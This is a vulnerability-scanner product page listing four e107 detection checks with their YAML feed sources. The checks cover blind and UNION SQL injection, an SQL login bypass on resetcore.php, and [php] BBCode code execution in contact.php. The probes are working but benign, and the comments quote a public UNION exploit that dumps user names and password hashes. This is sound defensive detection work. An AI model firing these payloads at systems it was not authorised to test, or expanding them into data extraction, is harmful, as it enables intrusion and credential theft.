e107 — 4 vulnerability checks

noctis ships 4 vulnerability checks for e107, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

e107 EasyShop plugin easyshop.php category_id SQL Injection

CVECVE-2008-4786
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/e107/CVE-2008-4786.yaml

The EasyShop plugin for e107 builds the product query of easyshop.php from the category_id parameter without quoting or casting it, so a visitor can inject SQL conditions and read the shop's data through a boolean (blind) oracle.

Under the web root and /e107, this check requests e107_plugins/easyshop/easyshop.php with a category that has no product (-1), then with "-1 OR A=A" and "-1 OR A=A+1" for a random number A. The finding requires the EasyShop page title and "No products available" for the empty category and the always-false condition, and a product list for the always-true one, which proves the parameter is evaluated as SQL. No data is extracted and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1
  3. HTTP(S) request GET {{dir}}/e107_plugins/easyshop/easyshop.php?{{probe.true_q}}
  4. HTTP(S) request GET {{dir}}/e107_plugins/easyshop/easyshop.php?{{probe.false_q}}
  5. Parses / computes the next value with a Rhai script
  6. Checks verdict for ^sqli$ → finding QoD 97: e107 EasyShop plugin easyshop.php category_id SQL Injection (CVE-2008-4786)

References:

Feed source — tests/vulnerabilities/e107/CVE-2008-4786.yaml
# e107 EasyShop plugin — e107_plugins/easyshop/easyshop.php category_id SQL injection — CVE-2008-4786
#
# The EasyShop plugin (e107 0.7.x) concatenates the category_id parameter of easyshop.php into
# the product query unquoted; the public exploit (exploit-db 6852) calls
#   easyshop.php?choose_category=1&category_id=-1 or <condition>/*
# and reads the product list: rows when the condition holds, "No products available" when
# it does not (a boolean-blind oracle). The plugin source is no longer distributed, so the
# page markers come from the advisory/exploit and the NASL.
#
# Differences with the source NASL (2008/gb_e107_easyshop_remote_sql_inj_vuln.nasl):
#   - the NASL only fetches easyshop.php?allcat and reports every page titled "e107 Powered
#     Website: EasyShop" (a presence check: it flags patched installs too). This feed
#     proves the injection with a differential: category_id=-1 (no product) must answer
#     "No products available", "-1 OR A=A" (random A) must list products, and
#     "-1 OR A=A+1" must answer "No products available" again;
#   - walks the web root and /e107 instead of relying on product detection.
# Read-only: no data is extracted, nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2008/gb_e107_easyshop_remote_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800302, GPL-2.0-only).
uid: c9fe44a1-0105-42b7-a732-44364190cfad
name: "e107 EasyShop plugin easyshop.php category_id SQL Injection (CVE-2008-4786)"
description: |
  The EasyShop plugin for e107 builds the product query of easyshop.php from the category_id
  parameter without quoting or casting it, so a visitor can inject SQL conditions and read
  the shop's data through a boolean (blind) oracle.

  Under the web root and /e107, this check requests e107_plugins/easyshop/easyshop.php
  with a category that has no product (-1), then with "-1 OR A=A" and "-1 OR A=A+1" for a
  random number A. The finding requires the EasyShop page title and "No products
  available" for the empty category and the always-false condition, and a product list for
  the always-true one, which proves the parameter is evaluated as SQL. No data is
  extracted and nothing is written.
cves: [CVE-2008-4786]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [e107, easyshop, php, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-4786"
  - "https://www.exploit-db.com/exploits/6852"
  - "http://www.securityfocus.com/bid/31948"
  - "http://securityreason.com/securityalert/4531"
  # OpenVAS/Greenbone NASL 2008/gb_e107_easyshop_remote_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let a = rand_int(1000, 9999);
      #{
        true_q: "choose_category=1&category_id=-1+OR+" + a + "%3D" + a + "--+-",
        false_q: "choose_category=1&category_id=-1+OR+" + a + "%3D" + (a + 1) + "--+-",
        true_cond: "-1 OR " + a + "=" + a + "-- -",
        false_cond: "-1 OR " + a + "=" + (a + 1) + "-- -"
      }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-base-r
    action: set_var
    var_name: base_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/e107"]

  - id: init-true-r
    action: set_var
    var_name: true_r
    var_value: {status: 0, body: ""}

  - id: init-false-r
    action: set_var
    var_name: false_r
    var_value: {status: 0, body: ""}

  - id: baseline
    action: http_request
    method: GET
    path: "{{dir}}/e107_plugins/easyshop/easyshop.php?choose_category=1&category_id=-1"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: base_r

  - id: probe-true
    action: http_request
    method: GET
    path: "{{dir}}/e107_plugins/easyshop/easyshop.php?{{probe.true_q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "base_r.status == 200 && type_of(base_r.body) == \"string\" && base_r.body.contains(\"e107 Powered Website: EasyShop\") && base_r.body.contains(\"No products available\")"
    store_as: true_r

  - id: probe-false
    action: http_request
    method: GET
    path: "{{dir}}/e107_plugins/easyshop/easyshop.php?{{probe.false_q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "type_of(true_r.body) == \"string\" && true_r.status == 200 && true_r.body.contains(\"e107 Powered Website: EasyShop\") && !true_r.body.contains(\"No products available\")"
    store_as: false_r

  - id: verdict
    action: script
    code: |
      let b = base_r.body;
      let t = true_r.body;
      let f = false_r.body;
      if type_of(b) == "string" && type_of(t) == "string" && type_of(f) == "string"
          && b.contains("No products available")
          && t.contains("e107 Powered Website: EasyShop") && !t.contains("No products available")
          && f.contains("e107 Powered Website: EasyShop") && f.contains("No products available") {
        "sqli"
      } else { "" }
    store_as: verdict

  - id: report
    action: match
    source: verdict
    pattern: '^sqli$'
    on_match:
      finding:
        title: "e107 EasyShop plugin easyshop.php category_id SQL Injection (CVE-2008-4786)"
        description: "The EasyShop plugin evaluated the category_id parameter as SQL: a category with no product answered \"No products available\" and so did an always-false condition, while an always-true condition (OR A=A) listed products. An anonymous visitor can read the shop and e107 user tables through this boolean oracle."
        remediation: "Remove or update the EasyShop plugin (cast category_id to an integer or use a prepared statement), and restrict database privileges of the e107 account."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/e107_plugins/easyshop/easyshop.php?category_id={{probe.true_cond}} → HTTP {{true_r.status}} product list; category_id=-1 and category_id={{probe.false_cond}} → \"No products available\""
      stop: true

e107 alternate_profiles plugin newuser.php id SQL Injection

CVECVE-2008-4785
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/e107/CVE-2008-4785.yaml

The alternate_profiles plugin for e107 builds the profile query of newuser.php from the id parameter without quoting or casting it, so a visitor can append a UNION SELECT and have arbitrary SQL values (including user names and password hashes) printed in the page.

Under the web root and /e107, this check requests e107_plugins/alternate_profiles/newuser.php with a 31-column UNION SELECT whose second column is CONCAT(CHAR(78,67,84), A*B) for two random numbers. The finding requires the computed text "NCT" followed by the product A*B, which the request itself does not contain, to be printed in the page, which proves the id parameter is evaluated as SQL. No table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/e107_plugins/alternate_profiles/newuser.php?{{probe.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks verdict for ^sqli$ → finding QoD 97: e107 alternate_profiles plugin newuser.php id SQL Injection (CVE-2008-4785)

References:

Feed source — tests/vulnerabilities/e107/CVE-2008-4785.yaml
# e107 alternate_profiles plugin — e107_plugins/alternate_profiles/newuser.php id SQL injection — CVE-2008-4785
#
# newuser.php of the alternate_profiles plugin (e107 0.7.x) concatenates the id parameter into
# its profile query unquoted and prints the 2nd selected column (the user name). The public
# exploit (exploit-db 6849) is
#   newuser.php?id=-9999 union all select 1,concat(user_name,char(58),user_password),3,...,31 from e107_user
# i.e. a UNION over the 31 columns of the profile row. The plugin source is no longer
# distributed, so the page behaviour comes from that exploit.
#
# Differences with the source NASL (2008/gb_e107_alternate_profiles_remote_sql_inj_vuln.nasl):
#   - the NASL only fetches newuser.php and reports any 200 page containing "newuser" (a
#     presence check that flags patched installs too). This feed proves the injection:
#     it UNIONs a computed value (CONCAT('NCT', A*B) for random A, B) into column 2 and
#     requires the product to be printed; the payload text itself never contains it;
#   - walks the web root and /e107 instead of relying on product detection.
# Read-only: no table is read, nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2008/gb_e107_alternate_profiles_remote_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800303, GPL-2.0-only).
uid: fdbab520-c14c-4fd9-b9bf-e0609bc2b21a
name: "e107 alternate_profiles plugin newuser.php id SQL Injection (CVE-2008-4785)"
description: |
  The alternate_profiles plugin for e107 builds the profile query of newuser.php from the id
  parameter without quoting or casting it, so a visitor can append a UNION SELECT and have
  arbitrary SQL values (including user names and password hashes) printed in the page.

  Under the web root and /e107, this check requests
  e107_plugins/alternate_profiles/newuser.php with a 31-column UNION SELECT whose second
  column is CONCAT(CHAR(78,67,84), A*B) for two random numbers. The finding requires the
  computed text "NCT" followed by the product A*B, which the request itself does not
  contain, to be printed in the page, which proves the id parameter is evaluated as SQL.
  No table is read and nothing is written.
cves: [CVE-2008-4785]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [e107, alternate_profiles, php, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-4785"
  - "https://www.exploit-db.com/exploits/6849"
  - "http://www.securityfocus.com/bid/31940"
  - "http://securityreason.com/securityalert/4530"
  # OpenVAS/Greenbone NASL 2008/gb_e107_alternate_profiles_remote_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let a = rand_int(1000, 9999);
      let b = rand_int(1000, 9999);
      let cols = "1,CONCAT(CHAR(78,67,84)," + a + "*" + b + ")";
      for i in 3..32 { cols += "," + i; }
      #{
        q: "id=-9999+UNION+ALL+SELECT+" + cols + "+--+-",
        marker: "NCT" + (a * b),
        a: a, b: b
      }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-inj-r
    action: set_var
    var_name: inj_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/e107"]

  - id: injection
    action: http_request
    method: GET
    path: "{{dir}}/e107_plugins/alternate_profiles/newuser.php?{{probe.q}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: inj_r

  - id: verdict
    action: script
    code: |
      if inj_r.status == 200 && type_of(inj_r.body) == "string" && inj_r.body.contains(probe.marker) {
        "sqli"
      } else { "" }
    store_as: verdict

  - id: report
    action: match
    source: verdict
    pattern: '^sqli$'
    on_match:
      finding:
        title: "e107 alternate_profiles plugin newuser.php id SQL Injection (CVE-2008-4785)"
        description: "The alternate_profiles plugin evaluated the id parameter as SQL: a UNION SELECT whose second column was CONCAT('NCT', A*B) printed the computed value in the page. An anonymous visitor can read the e107 user table (names and password hashes) through newuser.php."
        remediation: "Remove or update the alternate_profiles plugin (cast id to an integer or use a prepared statement), and restrict database privileges of the e107 account."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/e107_plugins/alternate_profiles/newuser.php?{{probe.q}} → HTTP {{inj_r.status}}, computed marker {{probe.marker}} printed"
      stop: true

e107 contact.php [php] BBCode Remote PHP Code Execution

CVECVE-2010-2099
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/e107/CVE-2010-2099.yaml

e107 0.7.20 and earlier run the [php] BBCode for anonymous visitors in the fields of the contact form: contact.php parses the posted sender name as BBCode, and the [php] handler evaluates the enclosed text as PHP code, so any visitor can execute code on the server.

Under the web root and /e107, this check posts the contact form to contact.php with a sender name of [php]exit(md5(A*B));[/php], where A and B are random numbers chosen for each scan. The finding requires the md5 hash of the product A*B in the reply, which only appears when the server evaluated the code; a site that escapes the BBCode or echoes the submitted name is not reported. The code only prints a hash and stops the request before the message is sent, so no e-mail goes out and nothing is changed on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/contact.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)

References:

Feed source — tests/vulnerabilities/e107/CVE-2010-2099.yaml
# e107 <= 0.7.20 — contact.php [php] BBCode remote PHP code execution — CVE-2010-2099
#
# contact.php passes the posted author_name (and subject/body) through
# $tp->toEmail(..., TRUE, "rawtext"), which calls toHTML() with BBCode parsing on.
# e107_handlers/bbcode_handler.php then runs e107_files/bbcode/php.bb, which eval()s the
# text between [php] and [/php] — for any anonymous visitor, before the CAPTCHA and
# field checks of the form. Fixed in 0.7.21: toEmail() turns "[php" into "&#91;php" for
# posted text and php.bb returns '' when the php_bbcode preference is "nobody"
# (diff of tags v0.7.20..v0.7.21 in github.com/e107inc/e107).
#
# Differences with the source NASL (2010/gb_e107_40252.nasl):
#   - the NASL runs phpinfo();die(); and reports a phpinfo() title OR any "php.net" in
#     the reply — the latter matches any page linking to php.net (false positive) and
#     phpinfo() is often disabled (disable_functions), a false negative. This feed runs
#     exit(md5(A*B)) with random A and B (A*B < 2^31, so 32-bit PHP prints the same
#     integer) and requires that exact md5 in the reply: it appears only when PHP ran
#     the product, never from an echo of the request (which carries neither the product
#     nor its hash). The payload has no "[" (the BBCode splitter would cut it) and no
#     "$"; exit() flushes the output buffer the BBCode handler opened;
#   - the NASL relies on its product detection for the install dir; this feed walks the
#     web root and /e107.
# The code runs before the e-mail is built, and exit() stops the script there: no mail
# is sent and nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_e107_40252.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100649, GPL-2.0-only).
uid: 31962ade-6719-444f-889c-a3c29cf23272
name: "e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)"
description: |
  e107 0.7.20 and earlier run the [php] BBCode for anonymous visitors in the fields of
  the contact form: contact.php parses the posted sender name as BBCode, and the [php]
  handler evaluates the enclosed text as PHP code, so any visitor can execute code on
  the server.

  Under the web root and /e107, this check posts the contact form to contact.php with a
  sender name of [php]exit(md5(A*B));[/php], where A and B are random numbers chosen
  for each scan. The finding requires the md5 hash of the product A*B in the reply,
  which only appears when the server evaluated the code; a site that escapes the BBCode
  or echoes the submitted name is not reported. The code only prints a hash and stops
  the request before the message is sent, so no e-mail goes out and nothing is changed
  on the server.
cves: [CVE-2010-2099]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [e107, php, bbcode, code-injection, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2099"
  - "http://www.securityfocus.com/bid/40252"
  - "https://github.com/e107inc/e107/tree/v0.7.21/e107_files/bbcode"
  # OpenVAS/Greenbone NASL 2010/gb_e107_40252.nasl (GPL-2.0-only)

steps:
  # md5(A*B) is printed only when PHP evaluates the [php] block.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 46340);
      let b = rand_int(10000, 46340);
      #{
        body: "send-contactus=1&author_name=%5Bphp%5Dexit%28md5%28" + a + "*" + b + "%29%29%3B%5B%2Fphp%5D",
        code: "exit(md5(" + a + "*" + b + "));",
        expect: md5("" + (a * b))
      }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/e107"]

  - id: rce-probe
    action: http_request
    method: POST
    path: "{{dir}}/contact.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}{{dir}}/contact.php"
    body: "{{probe.body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report
    action: match
    source: rce_proof
    pattern: '^[0-9a-f]{32}$'
    on_match:
      finding:
        title: "e107 contact.php [php] BBCode Remote PHP Code Execution (CVE-2010-2099)"
        description: "The contact form evaluated PHP code sent in a [php] BBCode block of the sender name: the reply contains the md5 hash of a product of two random numbers that only the executed code could compute. Any anonymous visitor can run arbitrary PHP code with the rights of the web server."
        remediation: "Upgrade e107 to 0.7.21 or later (current releases are 2.x)."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/contact.php with author_name=[php]{{probe.code}}[/php] returned HTTP {{rce_r.status}} containing md5 of the product computed by the server: {{rce_proof}}"
      stop: true

e107 resetcore.php a_name SQL Injection Authentication Bypass

CVECVE-2005-3521
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/e107/CVE-2005-3521.yaml

e107 0.617 to 0.6173 build the administrator login query of the core-repair utility e107_files/resetcore.php from the posted user name without escaping it. Any visitor can inject SQL into the name field to pass the login and reach the page that resets, restores or edits the site's core configuration.

Under the web root and /e107, this check requests resetcore.php and, when the utility's login form is served, logs in twice with a random password: once with a user name that closes the SQL string and adds an always-true condition, once with the same name and an always-false condition. The finding requires the method selection page ("Reset core to default values") for the true condition and the "Administrator not found" refusal for the false one, which proves the name is evaluated as SQL. No reset method is submitted, so the site configuration is left untouched.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/e107_files/resetcore.php
  3. HTTP(S) request POST {{dir}}/e107_files/resetcore.php with a crafted body
  4. HTTP(S) request POST {{dir}}/e107_files/resetcore.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks verdict for ^bypass$ → finding QoD 97: e107 resetcore.php a_name SQL Injection Authentication Bypass (CVE-2005-3521)

References:

Feed source — tests/vulnerabilities/e107/CVE-2005-3521.yaml
# e107 0.617 – 0.6173 — e107_files/resetcore.php a_name SQL injection — CVE-2005-3521
#
# e107_files/resetcore.php (the core-repair utility shipped in every 0.6x install) logs
# the main administrator in with
#   SELECT * FROM <prefix>user WHERE user_name='$a_name' AND user_password='<md5>' AND user_perms=0
# where $a_name is $_POST['a_name'] as is (github.com/e107inc/e107, tag v0.6.17). Any row
# prints the method selection page ("Reset core to default values", restore backup, edit
# core values); no row prints "Administrator not found in database ...". With
# magic_quotes_gpc off, a_name=' OR 1=1-- - opens the utility without credentials and
# lets anyone reset or rewrite the site configuration. 0.6174 escapes the name; 0.7
# replaced the page by a redirect to resetcore/resetcore.php, disabled until the admin
# edits the file and escaped (addslashes + "/*" removed).
#
# Differences with the source NASL (pre2008/e107_sql_injection.nasl):
#   - the NASL posts a_name=''' or isnull(1/0)/*: the two leading quotes form an escaped
#     quote inside the SQL string literal ('''  = "'"), so the condition never leaves the
#     string and the query matches no user — the NASL misses vulnerable installs (checked
#     on MariaDB, see the PR). This feed closes the literal with a single quote and ends
#     the query with "-- -" rather than an unterminated "/*" comment;
#   - true/false differential: a second login with an always-false condition (A=A+1)
#     must be refused with "Administrator not found" — a site that lets every login in
#     (or always shows the selection page) is not reported;
#   - the NASL relies on its product detection for the install dir; this feed walks the
#     web root and /e107.
# The login step only reads the user table and prints the selection form: no mode is
# submitted, so nothing is reset or written.
#
# Source: OpenVAS/Greenbone NASL pre2008/e107_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20069, GPL-2.0-only).
uid: a1c94bb6-171e-434d-a0d4-c7fe8888544d
name: "e107 resetcore.php a_name SQL Injection Authentication Bypass (CVE-2005-3521)"
description: |
  e107 0.617 to 0.6173 build the administrator login query of the core-repair utility
  e107_files/resetcore.php from the posted user name without escaping it. Any visitor can
  inject SQL into the name field to pass the login and reach the page that resets,
  restores or edits the site's core configuration.

  Under the web root and /e107, this check requests resetcore.php and, when the
  utility's login form is served, logs in twice with a random password: once with a user
  name that closes the SQL string and adds an always-true condition, once with the same
  name and an always-false condition. The finding requires the method selection page
  ("Reset core to default values") for the true condition and the "Administrator not
  found" refusal for the false one, which proves the name is evaluated as SQL. No reset
  method is submitted, so the site configuration is left untouched.
cves: [CVE-2005-3521]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [e107, php, sqli, auth-bypass, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3521"
  - "http://www.securityfocus.com/bid/15125"
  - "http://marc.info/?l=bugtraq&m=112967223222966&w=2"
  - "https://github.com/e107inc/e107/blob/v0.6.17/e107_files/resetcore.php"
  # OpenVAS/Greenbone NASL pre2008/e107_sql_injection.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      let a = rand_int(1000, 9999);
      let n = "noctis" + rand_int(100000, 999999);
      let pw = "Nx" + rand_int(100000000, 999999999);
      #{
        true_body: "a_name=" + n + "%27+OR+" + a + "%3D" + a + "--+-&a_password=" + pw + "&usubmit=Continue",
        false_body: "a_name=" + n + "%27+OR+" + a + "%3D" + (a + 1) + "--+-&a_password=" + pw + "&usubmit=Continue",
        true_name: n + "' OR " + a + "=" + a + "-- -",
        false_name: n + "' OR " + a + "=" + (a + 1) + "-- -"
      }
    store_as: probe

  # ── Loop group: every following step runs once per install dir.
  - id: init-form-r
    action: set_var
    var_name: form_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/e107"]

  - id: init-true-r
    action: set_var
    var_name: true_r
    var_value: {status: 0, body: ""}

  - id: init-false-r
    action: set_var
    var_name: false_r
    var_value: {status: 0, body: ""}

  - id: form
    action: http_request
    method: GET
    path: "{{dir}}/e107_files/resetcore.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: form_r

  - id: login-true
    action: http_request
    method: POST
    path: "{{dir}}/e107_files/resetcore.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}{{dir}}/e107_files/resetcore.php"
    body: "{{probe.true_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "form_r.status == 200 && type_of(form_r.body) == \"string\" && form_r.body.contains(\"e107 resetcore></title>\") && egrep(\"<input [^>]*name='a_(name|password)'\", form_r.body) != \"\""
    store_as: true_r

  - id: login-false
    action: http_request
    method: POST
    path: "{{dir}}/e107_files/resetcore.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}{{dir}}/e107_files/resetcore.php"
    body: "{{probe.false_body}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "type_of(true_r.body) == \"string\" && true_r.body.contains(\"Reset core to default values\")"
    store_as: false_r

  - id: verdict
    action: script
    code: |
      let t = true_r.body;
      let f = false_r.body;
      if type_of(t) == "string" && type_of(f) == "string"
          && t.contains("Reset core to default values") && t.contains("e107 resetcore></title>")
          && f.contains("Administrator not found") && !f.contains("Reset core to default values") {
        "bypass"
      } else { "" }
    store_as: verdict

  - id: report
    action: match
    source: verdict
    pattern: '^bypass$'
    on_match:
      finding:
        title: "e107 resetcore.php a_name SQL Injection Authentication Bypass (CVE-2005-3521)"
        description: "The e107 core-repair utility evaluated the posted administrator name as SQL: a login with an always-true condition and a random password opened the core reset page, while the same login with an always-false condition was refused. Any anonymous visitor can reset, restore or rewrite the site's core configuration."
        remediation: "Upgrade e107 (0.6174 or later; current releases are 2.x) and delete e107_files/resetcore.php when it is not needed."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/e107_files/resetcore.php a_name={{probe.true_name}} (random password) → HTTP {{true_r.status}} with the \"Reset core to default values\" selection page; a_name={{probe.false_name}} → HTTP {{false_r.status}} \"Administrator not found\""
      stop: true

View these feeds on GitHub